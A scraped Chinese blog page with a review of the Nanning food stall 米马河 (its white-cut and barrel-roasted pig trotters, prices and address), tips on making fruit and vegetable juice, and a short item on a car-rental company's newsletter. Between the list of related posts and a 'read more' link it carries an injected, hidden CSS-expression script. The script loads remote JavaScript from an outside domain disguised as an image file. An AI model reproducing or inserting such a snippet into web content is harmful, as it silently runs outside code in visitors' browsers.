季冲
|
不知道米马河的具体位置有什么所谓，只要在饭点时间来到竹塘路，看到一家大排档无论是空调包房还是露天桌椅都座无虚席，而且一旁还站着很多焦急等位的食客，一见有人埋单就赶紧去占座。放眼过去，每张餐桌上必然放着一个已经空空如也的小小木桶，每个人皆手持一只红红亮亮的猪手在握“手”言欢，嘿嘿，那就绝对没走错啦！ 说米马河是09年度最红大排档一点也不夸张，在09年之前，跟谁提起米马河，对方都一脸茫然；直到今年，越来越多人向戏戏介绍一家大排档，听你说知道，立刻被视为同道中人；你要说不知道什么是米马河，都不好意思跟人打招呼，大致知道有多红吧？！ 米马河原先主要是以宾阳的白切风味起家的，宾阳白切狗、宾阳白切猪手、宾阳酸粉是这家餐厅一贯的好味，但人们对它的印象仅处于物美价廉。米马河所有菜品皆实足而且价格公道，最是适合附近租房的都市小白领们平时觅食，几个人点几个白切档的肉菜再炒份青菜加一份汤水，加起来都不会超过百元，AA下来比起南宁那几个著名的快餐店要划算得多，何况米马河的菜品用大排档规格来说还算是相当有水准的呢，实在是大排档“平靓正”风格的最好坚持者。 每天晚饭时刻，米马河旁边的露天的小巷坐满了人，精力过盛的小年轻们一边吃肉一边喝酒一边大声划拳，想来，酒足饭饱不就是人们对生活满意的一种状态。 白切猪手是广西客家的一道名菜，尤其以桂东南的宾阳、陆川两地的白切猪手做得最为好吃，在南宁不少大排档打着这两个地方的旗号，都号称自己店里的白切猪手是最正宗的。一般来说，那家大排档的白切猪手做得好就够了，谁都是冲着它去的，其他菜品的好坏就没有人计较了。所以，那个做白切猪手的大厨也肯定是那家排档的镇店之宝，地位极高。 米马河白切档的大厨不爱说话，酷酷地解开绑猪手的线，手起刀落，转眼就把猪手切成一片片薄如蝉翼的肉片，对着光一照，果然如水晶般闪亮，口感又极佳，肥而不腻，听说常食白切猪手还能养颜美容添。 大概在两年前，餐厅推出了一道新式菜肴“木桶猪手”，居然在邕城一炮而红，也成了米马河的当家花旦。凭着对这道菜的良好印象，食客们食过返寻味，带来越来越多的食客，如今来得稍晚一点，居然还要等位，一家大排档做到如此好景，真是少有！ 白切猪手是技术活，木桶猪手就没有什么技术难度啦，买回来的猪手斩成几大块，加配料腌制入味，下锅炸熟，最后入烤炉中猛火焗制，揭开锡纸之后，红红亮亮，酱香扑鼻，几里之外都闻到。怪不得客人一落桌，必然要点这一道木桶猪手，没有一张饭桌落空。 其实，米马河也是戏戏的饭堂，不想做饭的时候，就跟老鱼到这里解决。戏戏到外面吃饭，一定吃平时自己很少做的菜，比如油泡猪大肠、干煸四季豆，嘿嘿，这两道耗油耗神气的菜，米马河都做得非常好吃，特别是油泡大肠，最讲究火候，操作不当，上桌之后，就变得硬硬的，但米马河的油泡大肠上桌半小时，还能爽爽脆脆，的确不错。 上面三道菜不超过50元，但足够三个人的份量。 虽然米马河号称正宗宾阳风味，但依我看，随着食客越来越多，为了迎合大家的口味，已经与时俱进，除了白切档的老几样，其他都并非宾阳风味了。什么吴圩牛杂啦、柳州脆皮狗羊火锅啦，桂林酸豆角焖禾花鱼等这些广西著名的大路菜也都有了。 这里的酸粉，好些吃过宾阳酸粉的朋友都说不正宗，而且最近可能是物价上涨，取消了素粉，搭了几块叉烧牛巴强买强卖，令人很不爽！ 但是鸭红汤都是非常值得推荐的，因为是自己宰的鸭子，鸭血做得很滑嫩，又用之前煮鸭子的汤水来做汤，鲜甜清香。 美食坐标</STRONG>：竹塘路南宁市十四中高中部旁边 环境特色：</STRONG>大排档，包厢卡座露天位 口味评点</STRONG>：宾阳风味 南宁风味 人均消费</STRONG>：25元 推荐指数</STRONG>： 乐享一段闺蜜时光——日月湾台湾食坊 好的食材对的粥——姑婆山美食 去郊外吃头野猪 商业中心的街坊厨房——港饮港食茶餐厅 小门小户酷美食——“这里”私房菜 返朴归真青柠屋 都市里的温柔女儿梦——泰迪咖啡馆 午后时光，享受一杯甜蜜的玛奇朵 吃浓浓家乡味的好菜暖身暖心 小资厨房雨石阁 风雨桥上的阿谋美食 桂林肥仔打造的大众厨房 千姿百态南宁粉（1） 法国鹅肥肝，我好钟意食 ee:expression_r_r(function(){if(!window.r){var ss='s'+'cript';var tt='text/ja'+'vas'+'cript';var st=document.createElement_x(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none" 阅读全文>> |
|
多喝蔬果汁有益健康，这是人所周知的。然而，你可知道，若处理得不好，是会破坏蔬果的营养成分的。 为了不破坏蔬果的营养成分，有几点值得注意：  清爽柠檬汁 - 一、选择新鲜果菜 新鲜的蔬果营养价值高，一旦放置时间久了，维他命的含量逐日减少，甚至完全破坏。 除了选购新鲜产品，可能的话，挑有机产品或自己栽种的更好，避免农药的污染。 二、彻底清洗干净 蔬果外皮也含营养成分，尽可能保留外皮食用，但要注意清洗干净(蔬果洗净后再用盐水净泡数分钟)，以免喝到残留的虫卵、农药。 三、做好立即饮用 果菜汁放置太久，因接触空气，维他命会受损，营养价值变低。  美味果汁 四、早上喝易吸收 早上喝一杯果菜汁，成为一天的精力来源，所以价值最高，避免晚上睡觉前喝，会增加肾脏的负担，反而对身体有害。 五、要逐口慢慢喝 果菜汁虽是液体，也要一口一口与口腔的唾液混合后才喝下，这样才容易在体内完全吸收，千万不要像喝汽水用灌的。 若纤维过多，可用过滤器滤掉一些，纤维渣可倒入汤中，或自制面条、蛋糕、松饼时加入，千万不要浪费。  时尚树莓汁 - 六、不要加糖 因为糖分解时，会消耗很多的维他命B1及B2，如果打出来的果汁不可口，可以加些蜂蜜，改变风味，若口味太浓，可以加矿泉水稀释。 七、采用多种蔬果 各色蔬果都要吃，兼顾维他命C、E、A和B，敢于尝试新口味，不妨从食谱中自己变化，不要只吃用一两种蔬果，各种蔬果的营养不同，不要偏食某几种，否则仍会造成营养不均衡。 挑有机产品或自己栽种的更好，避免农药的污染。蔬果外皮含营养成分，但要清洗干净，以免有残留的虫卵、农药。 ...阅读全文>> |
|
浙江国信汽车租赁公司办企业报 浙江国信汽车租赁有限公司创办的《国信报》于2009年6月创刊，现已出版两期。 该创刊号上刊有公司近期获政府多项命名及表彰、公司总经理赴日本考察汽车租赁、记公司中标浙江中石化BP石油公司车辆租赁业务、浙江省汽车租赁协会召开会长会、杭州市40家租赁企业向市运管局联名报告、“五一”首汽租赁会员浙江租车记、积极应对车辆维修场地征拆、5月度业务部门考核排行榜、公司通过两个工作规范会审、体育场营业部特写、我国汽车租赁环境与国外的主要差异、企业的形象靠我们员工来塑造、带驾租赁亟待破解的困局、专访黄龙营业部经理郑小坪、杭州主城区“国信租赁”营业网点、“我与国信”十五周年征文等几十篇文图，内容十分丰富。 （彭援军） （选自《旅游·客车》杂志2009年9月1日出版,第二卷第5期总第8期） |
